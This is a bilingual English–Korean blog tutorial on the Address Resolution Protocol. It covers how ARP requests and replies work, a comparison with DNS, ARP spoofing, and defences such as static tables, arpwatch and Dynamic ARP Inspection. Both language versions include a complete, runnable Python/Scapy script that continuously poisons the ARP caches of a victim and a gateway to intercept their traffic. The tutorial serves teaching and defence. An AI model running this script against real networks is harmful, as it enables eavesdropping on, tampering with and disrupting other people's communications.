Post

ARP

ARP

How to Find a MAC Address Using an IP Address: A Complete Guide to ARP (Address Resolution Protocol)

When we use the internet, our computers communicate with other computers using IP addresses. However, to actually exchange data within a local area network (LAN), a physical address called a MAC address is required in addition to an IP address. So, how does a computer find out the MAC address of a device with a specific IP address? The answer to this question lies in the Address Resolution Protocol (ARP). At Layer 2, the direction of packet transmission is determined by the MAC address, as IP addresses are not recognized at this level. Switches do not understand IP addresses and rely solely on MAC addresses to determine where to send data. ARP is a protocol that only operates within the local network. When a packet is transmitted to an external network, it’s made possible by first obtaining the MAC information of the router connected to that external network and sending the packet to it. After that, the path is determined by BGP, not ARP.

In this article, we will delve into the concept and operation of ARP, an essential component of network communication, and also examine ARP spoofing, a security threat that exploits its vulnerabilities.


1. What is ARP?

ARP stands for Address Resolution Protocol. As the name suggests, it is a protocol used to find a physical address (MAC address) based on a logical address (IPv4 address).

ARP acts as a crucial bridge between the Network Layer and the Data Link Layer in the TCP/IP protocol stack.

  • Network Layer (Layer 3): Establishes the path to the destination across the entire network using IP addresses.
  • Data Link Layer (Layer 2): Transmits data to directly connected devices within the same local network using MAC addresses.

Let’s use a simple analogy.

You want to send a letter to “John Smith” who lives in ‘Building A, Apartment 101’. Here, ‘Building A, Apartment 101’ corresponds to the network address (IP address), and ‘John Smith’ corresponds to the host (device). However, to deliver the letter accurately, you need to know John Smith’s apartment number (MAC address). The act of asking the front desk, “What apartment does John Smith live in?” is exactly what ARP does.


2. How ARP Works

ARP operates through two types of messages: ARP Request and ARP Reply. The process is as follows.

  1. Check ARP Cache:
    • PC A wants to send data to PC B (IP: 192.168.0.10).
    • First, PC A checks its ARP cache table. The ARP cache is a temporary storage space that holds the IP-to-MAC address mappings of recently communicated devices.
    • If the MAC address information for 192.168.0.10 is in the cache, it immediately uses that MAC address to send the data.
  2. ARP Request (Broadcast):
    • If the information is not in the ARP cache, PC A sends an ARP request message to all devices on the local network via broadcast.
    • This request message contains the following information:
      • “Who has the IP address 192.168.0.10? Please tell me your MAC address.”
  3. ARP Reply (Unicast):
    • The devices that receive the ARP request check if the IP address in the message matches their own.
    • All other devices that do not match the IP address ignore the request.
    • PC B, whose IP address matches, sends an ARP reply message to PC A via unicast.
    • This reply message contains the following information:
      • “Yes, I have 192.168.0.10. My MAC address is AA:BB:CC:DD:EE:FF.”
  4. Update ARP Cache and Transmit Data:
    • PC A learns the MAC address of 192.168.0.10 from the ARP reply received from PC B.
    • It records this mapping information in its ARP cache.
    • Now, PC A can successfully send the data to PC B using the discovered MAC address.

3. Differences Between ARP and DNS

While learning about ARP, you might think its role is similar to DNS (Domain Name System). This is because both are ‘address resolution’ protocols that convert one type of address to another. However, there are clear differences in their objectives and operational scopes.

In conclusion, ARP resolves IP addresses to MAC addresses within a local network, while DNS resolves domain names to IP addresses across the entire internet.

FeatureARP (Address Resolution Protocol)DNS (Domain Name System)
Resolution GoalIP Address → MAC AddressDomain Name → IP Address
Operational ScopeLocal Network (LAN)Entire Internet (WAN)
Primary PurposeTo find the physical address for actual communication at the Data Link LayerTo allow users to access servers with easy-to-remember names
Communication MethodBroadcast (Asks the entire local network)Unicast (Asks a specific DNS server)
AnalogyAsking for a house number (MAC) by name (IP) within an apartment complexLooking up a street address (IP) by business name (domain) in a global directory

In simple terms, when you type www.google.com into your web browser:

  1. DNS first works to resolve the domain name www.google.com into the Google server’s IP address (e.g., 172.217.161.196).
  2. Then, to send data to the gateway (router) of your local network, ARP is used to resolve the gateway’s IP address into its MAC address.

The two protocols are in a cooperative relationship, working at different layers for different purposes.


4. ARP’s Security Vulnerability: ARP Spoofing

ARP was designed based on ‘trust,’ so it lacks a separate authentication process. This means there’s a critical weakness: it doesn’t verify if the sender of an ARP reply is the true owner of that IP address. An attacker can exploit this loophole to carry out an ARP spoofing or ARP cache poisoning attack.

How ARP Spoofing Works

ARP spoofing is a type of Man-in-the-Middle (MitM) attack where an attacker tricks a local network to intercept traffic. This attack can be carried out by an insider. Within the same network, ARP spoofing enables sniffing, tampering, malware distribution, and service disruption.

  1. The attacker continuously sends forged ARP replies to both the victim PC and the gateway (router).
    • To the victim PC: “I am the gateway (192.168.0.1), and my MAC address is the attacker's_MAC.”
    • To the gateway: “I am the victim PC (192.168.0.100), and my MAC address is the attacker's_MAC.”
  2. Both the victim PC and the gateway receive the forged ARP replies and update their ARP cache tables without suspicion.
    • Victim PC’s ARP cache: gateway_IPattacker's_MAC
    • Gateway’s ARP cache: victim_IPattacker's_MAC
  3. After this, all data (packets) sent from the victim PC to the internet are transmitted to the attacker instead of the gateway. Likewise, data from the gateway intended for the victim PC is also delivered to the attacker.
  4. The attacker can then eavesdrop on all traffic, modify data, or block the connection.

ARP Spoofing Detection and Defense

  • Use of Static ARP Tables: This method involves manually fixing the IP-to-MAC mapping information instead of allowing the ARP cache to be updated dynamically. It is cumbersome to manage but is the most reliable defense method.
  • ARP Spoofing Detection Tools: Tools like arpwatch can be used to monitor for abnormal changes in the ARP cache table and alert the administrator.
  • Utilizing Network Equipment Security Features: Some switches and network devices offer features like Dynamic ARP Inspection (DAI) that can block abnormal ARP packets.

Conceptual Code for ARP Spoofing Using Python (Scapy library)

Below is a Python code that demonstrates the concept of an ARP spoofing attack using the popular network packet manipulation library, Scapy. This code should only be used for educational purposes and must never be run on a network without authorization.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from scapy.all import ARP, Ether, srp, send
import time
import sys

def get_mac(ip):
    """
    Returns the MAC address of a given IP address.
    """
    arp_request = ARP(pdst=ip)
    broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    
    # The srp function sends a packet and receives a response
    answered_list = srp(arp_request_broadcast, timeout=1, verbose=False)[0]
    
    if answered_list:
        return answered_list[0][1].hwsrc
    else:
        return None

def spoof(target_ip, spoof_ip):
    """
    Sends a forged ARP reply to the target to poison its ARP cache.
    """
    target_mac = get_mac(target_ip)
    if not target_mac:
        print(f"[-] Cannot resolve MAC for {target_ip}. Exiting.")
        sys.exit(0)
    
    # op=2 signifies an ARP Reply
    # pdst: destination IP, hwdst: destination MAC, psrc: source IP (the IP to be spoofed)
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    send(packet, verbose=False)

def restore(destination_ip, source_ip):
    """
    Restores the ARP table to its original state.
    """
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    
    if destination_mac and source_mac:
        packet = ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
        send(packet, count=4, verbose=False)

# --- Execution Part ---
target_ip = "192.168.0.100"  # Victim's IP
gateway_ip = "192.168.0.1"   # Gateway's IP

try:
    sent_packets_count = 0
    while True:
        # Trick the victim into thinking we are the gateway
        spoof(target_ip, gateway_ip)
        # Trick the gateway into thinking we are the victim
        spoof(gateway_ip, target_ip)
        
        sent_packets_count += 2
        print(f"\r[+] Packets sent: {sent_packets_count}", end="")
        time.sleep(2) # Repeat every 2 seconds
except KeyboardInterrupt:
    print("\n[-] Detected CTRL+C ... Resetting ARP tables. Please wait.")
    restore(target_ip, gateway_ip)
    restore(gateway_ip, target_ip)
    print("[+] ARP tables restored.")

Conclusion

ARP is a very important protocol that forms the foundation of local network communication. Its simplicity allows it to operate efficiently, but that same simplicity also leads to security vulnerabilities. Software engineers and cybersecurity professionals must deeply understand how the systems they build and protect operate. Knowing the principles of ARP is the first step in network troubleshooting and is essential knowledge for strengthening internal network security.


IP 주소로 MAC 주소를 찾는 방법: ARP(Address Resolution Protocol) 완벽 가이드

우리가 인터넷을 사용할 때, 컴퓨터는 IP 주소를 사용해 다른 컴퓨터와 통신합니다. 하지만 실제 로컬 네트워크(LAN) 내에서 데이터를 주고받기 위해서는 IP 주소뿐만 아니라 MAC 주소라는 물리적인 주소가 반드시 필요합니다. 그렇다면 컴퓨터는 어떻게 특정 IP 주소를 가진 기기의 MAC 주소를 알아내는 것일까요? 바로 이 질문의 해답이 ARP(Address Resolution Protocol)에 있습니다. Layer 2에서는 IP주소를 알지 못하고 MAC을 통해 패킷을 전달하는 방향이 결정됩니다. 스위치는 IP 주소를 이해하지 못하고 오직 MAC 주소만 보고 어느 장비로 보내야하는지 압니다. 그리고 ARP는 로컬 네트워크에서만 작동되는 프로토콜이고 외부 네트워크로 패킷이 전달될때에는 외부 네트워크와 연결된 라우터의 MAC 정보를 알아내어 거기까지 보내는 과정을 통해 외부 네트워크로 패킷 전달이 가능하고 그 이후는 ARP가 아닌 BGP로 결정됩니다.

이 글에서는 네트워크 통신의 필수 요소인 ARP의 개념과 동작 원리를 알아보고, 이를 악용한 보안 위협인 ARP 스푸핑(Spoofing) 공격까지 자세히 살펴보겠습니다.

1. ARP란 무엇인가?

ARPAddress Resolution Protocol의 약자로, 한국어로는 ‘주소 결정 프로토콜’이라고 번역됩니다. 이름 그대로, 논리적인 주소인 IP 주소(IPv4)를 기반으로 물리적인 주소인 MAC 주소를 알아내기 위해 사용되는 프로토콜입니다.

ARP는 TCP/IP 프로토콜 스택에서 네트워크 계층(Network Layer)과 데이터 링크 계층(Data Link Layer) 사이의 중요한 다리 역할을 합니다.

  • 네트워크 계층 (Layer 3): IP 주소를 사용하여 전체 네트워크에서 목적지까지의 경로를 설정합니다.
  • 데이터 링크 계층 (Layer 2): MAC 주소를 사용하여 동일한 로컬 네트워크 내에서 직접 연결된 기기로 데이터를 전송합니다.

간단한 비유를 들어보겠습니다.

당신이 ‘A 아파트 101동’에 사는 ‘김철수’에게 편지를 보내려고 합니다. 여기서 ‘A 아파트 101동’은 네트워크 주소(IP 주소)에 해당하고, ‘김철수’는 호스트(기기)에 해당합니다. 하지만 편지를 정확히 전달하려면 ‘김철수’의 집 호수(MAC 주소)를 알아야 합니다. 이때 아파트 안내데스크에 “김철수 씨가 몇 호에 사나요?”라고 물어보는 행위가 바로 ARP와 같습니다.

2. ARP의 동작 원리

ARP는 ARP 요청(Request)ARP 응답(Reply)이라는 두 가지 메시지를 통해 동작합니다. 과정은 다음과 같습니다.

  1. ARP 캐시 확인:

    • PC A가 PC B(IP: 192.168.0.10)에게 데이터를 보내려고 합니다.
    • 가장 먼저 PC A는 자신의 ARP 캐시(Cache) 테이블을 확인합니다. ARP 캐시는 최근에 통신했던 기기들의 IP-MAC 주소 매핑 정보를 저장하는 임시 공간입니다.
    • 만약 캐시에 192.168.0.10에 대한 MAC 주소 정보가 있다면, 즉시 해당 MAC 주소를 사용하여 데이터를 전송합니다.
  2. ARP 요청 (Broadcast):

    • ARP 캐시에 정보가 없다면, PC A는 로컬 네트워크에 연결된 모든 기기에게 ARP 요청 메시지를 브로드캐스트(Broadcast)합니다.
    • 이 요청 메시지에는 다음과 같은 정보가 담겨 있습니다.
      • “IP 주소가 192.168.0.10인 기기는 누구인가요? 당신의 MAC 주소를 알려주세요.”
  3. ARP 응답 (Unicast):

    • ARP 요청을 받은 기기들은 메시지 속의 IP 주소가 자신의 IP 주소와 일치하는지 확인합니다.
    • IP 주소가 일치하지 않는 나머지 모든 기기들은 이 요청을 무시합니다.
    • 자신의 IP 주소와 일치하는 PC B는 PC A에게 ARP 응답 메시지를 유니캐스트(Unicast)로 보냅니다.
    • 이 응답 메시지에는 다음과 같은 정보가 담겨 있습니다.
      • “네, 제가 192.168.0.10입니다. 제 MAC 주소는 AA:BB:CC:DD:EE:FF입니다.”
  4. ARP 캐시 업데이트 및 데이터 전송:

    • PC A는 PC B로부터 받은 ARP 응답을 통해 192.168.0.10의 MAC 주소를 알게 됩니다.
    • 이 매핑 정보를 자신의 ARP 캐시에 기록합니다.
    • 이제 PC A는 알아낸 MAC 주소를 사용하여 PC B에게 데이터를 성공적으로 전송할 수 있습니다.

3. ARP와 DNS의 차이점

ARP에 대해 학습하다 보면 DNS(Domain Name System)와 역할이 비슷하다고 생각할 수 있습니다. 둘 다 어떤 주소를 다른 주소로 변환해주는 ‘주소 해석’ 프로토콜이기 때문입니다. 하지만 둘의 목표와 동작 범위에는 명확한 차이가 있습니다.

결론부터 말하면, ARP는 로컬 네트워크 내에서 IP 주소를 MAC 주소로 변환하고, DNS는 인터넷 전체에서 도메인 이름을 IP 주소로 변환합니다.

구분 항목ARP (Address Resolution Protocol)DNS (Domain Name System)
변환 목표IP 주소 → MAC 주소도메인 이름 → IP 주소
동작 범위로컬 네트워크 (LAN)인터넷 전체 (WAN)
주요 목적데이터 링크 계층에서 실제 통신을 위한 물리적 주소 확인사용자가 기억하기 쉬운 이름으로 서버에 접근
통신 방식브로드캐스트 (로컬망 전체에 질문)유니캐스트 (지정된 DNS 서버에 질문)
비유아파트 단지 내에서 이름(IP)으로 집 호수(MAC)를 묻는 행위전 세계를 대상으로 상호명(도메인)으로 도로명 주소(IP)를 찾는 행위

쉽게 말해, 우리가 웹 브라우저에 www.google.com을 입력하면,

  1. DNS가 먼저 동작하여 www.google.com이라는 도메인 이름을 구글 서버의 IP 주소(예: 172.217.161.196)로 변환합니다.
  2. 이후 내 컴퓨터가 속한 로컬 네트워크의 게이트웨이(라우터)로 데이터를 보내기 위해, ARP가 게이트웨이의 IP 주소MAC 주소로 변환하는 데 사용됩니다.

두 프로토콜은 서로 다른 계층에서, 다른 목적을 위해 협력하는 관계입니다.

4. ARP의 보안 취약점: ARP 스푸핑 (ARP Spoofing)

ARP는 설계 당시 ‘신뢰’를 기반으로 만들어졌기 때문에 별도의 인증 절차가 없습니다. 즉, ARP 응답 메시지를 보낸 측이 정말 그 IP 주소의 소유자인지 확인하지 않는다는 치명적인 약점이 존재합니다. 공격자는 이 허점을 악용하여 ARP 스푸핑(ARP Spoofing) 또는 ARP 캐시 포이즈닝(ARP Cache Poisoning) 공격을 수행할 수 있습니다.

ARP 스푸핑 동작 원리

ARP 스푸핑은 공격자가 로컬 네트워크를 속여 트래픽을 가로채는 중간자 공격(Man-in-the-Middle, MitM)의 일종입니다. 이 공격은 내부 침입자가 할 수 있는 공격입니다. 같은 네트워크 망 안에서 ARP 스푸핑을 통해 모든 정보를 스니핑, 변조, 악성코드 유포, 마비를 가능하게 합니다.

  1. 공격자는 희생자 PC와 게이트웨이(라우터) 모두에게 위조된 ARP 응답을 지속적으로 보냅니다.

    • 희생자 PC에게: “나는 게이트웨이(192.168.0.1)이고, 내 MAC 주소는 공격자_MAC이야.” 라고 속입니다.
    • 게이트웨이에게: “나는 희생자 PC(192.168.0.100)이고, 내 MAC 주소는 공격자_MAC이야.” 라고 속입니다.
  2. 희생자 PC와 게이트웨이는 위조된 ARP 응답을 받고 아무런 의심 없이 자신의 ARP 캐시 테이블을 업데이트합니다.

    • 희생자 PC의 ARP 캐시: 게이트웨이_IP -> 공격자_MAC
    • 게이트웨이의 ARP 캐시: 희생자_IP -> 공격자_MAC
  3. 이후 희생자 PC가 인터넷으로 보내는 모든 데이터(패킷)는 게이트웨이가 아닌 공격자에게 전송됩니다. 마찬가지로 게이트웨이가 희생자 PC로 보내는 데이터도 공격자에게 전달됩니다.

  4. 공격자는 중간에서 모든 트래픽을 엿보거나(도청), 데이터를 변조하거나, 연결을 끊어버릴 수 있습니다.

ARP 스푸핑 탐지 및 방어

  • 정적 ARP 테이블 사용: ARP 캐시를 동적으로 업데이트하지 않고, 수동으로 IP-MAC 매핑 정보를 고정하여 사용하는 방법입니다. 관리가 번거롭지만 가장 확실한 방어법입니다.
  • ARP 스푸핑 탐지 도구: arpwatch와 같은 도구를 사용하여 ARP 캐시 테이블의 비정상적인 변경을 감시하고 관리자에게 알릴 수 있습니다.
  • 네트워크 장비의 보안 기능 활용: 일부 스위치나 네트워크 장비는 Dynamic ARP Inspection (DAI)과 같은 기능을 제공하여 비정상적인 ARP 패킷을 차단합니다.

Python을 이용한 ARP 스푸핑 개념 코드 (Scapy 라이브러리)

아래는 유명한 네트워크 패킷 조작 라이브러리인 Scapy를 사용하여 ARP 스푸핑 공격의 개념을 보여주는 Python 코드입니다. 이 코드는 교육 목적으로만 사용해야 하며, 허가받지 않은 네트워크에서 절대 실행해서는 안 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from scapy.all import ARP, Ether, srp, send
import time
import sys

def get_mac(ip):
    """
    주어진 IP 주소의 MAC 주소를 반환합니다.
    """
    arp_request = ARP(pdst=ip)
    broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request

    # srp 함수는 패킷을 보내고 응답을 받음
    answered_list = srp(arp_request_broadcast, timeout=1, verbose=False)[0]

    if answered_list:
        return answered_list[0][1].hwsrc
    else:
        return None

def spoof(target_ip, spoof_ip):
    """
    대상에게 위조된 ARP 응답을 보내 ARP 캐시를 속입니다.
    """
    target_mac = get_mac(target_ip)
    if not target_mac:
        print(f"[-] Cannot resolve MAC for {target_ip}. Exiting.")
        sys.exit(0)

    # op=2는 ARP Reply를 의미함
    # pdst: 목적지 IP, hwdst: 목적지 MAC, psrc: 출발지 IP (속일 IP)
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    send(packet, verbose=False)

def restore(destination_ip, source_ip):
    """
    ARP 테이블을 원래 상태로 복원합니다.
    """
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)

    if destination_mac and source_mac:
        packet = ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
        send(packet, count=4, verbose=False)

# --- 실행 부분 ---
target_ip = "192.168.0.100"  # 희생자 IP
gateway_ip = "192.168.0.1"   # 게이트웨이 IP

try:
    sent_packets_count = 0
    while True:
        # 희생자에게 게이트웨이인 척 속이기
        spoof(target_ip, gateway_ip)
        # 게이트웨이에게 희생자인 척 속이기
        spoof(gateway_ip, target_ip)

        sent_packets_count += 2
        print(f"\r[+] Packets sent: {sent_packets_count}", end="")
        time.sleep(2) # 2초마다 반복
except KeyboardInterrupt:
    print("\n[-] Detected CTRL+C ... Resetting ARP tables. Please wait.")
    restore(target_ip, gateway_ip)
    restore(gateway_ip, target_ip)
    print("[+] ARP tables restored.")

마무리하며

ARP는 로컬 네트워크 통신의 근간을 이루는 매우 중요한 프로토콜입니다. 그 단순함 덕분에 효율적으로 동작하지만, 바로 그 단순함이 보안 취약점으로 이어지기도 합니다. 소프트웨어 엔지니어와 사이버 보안 전문가는 자신이 구축하고 보호하는 시스템이 어떻게 동작하는지 깊이 이해해야 합니다. ARP의 원리를 아는 것은 네트워크 문제 해결(Troubleshooting)의 첫걸음이자, 내부망 보안을 강화하는 데 필수적인 지식입니다.

This post is licensed under CC BY 4.0 by the author.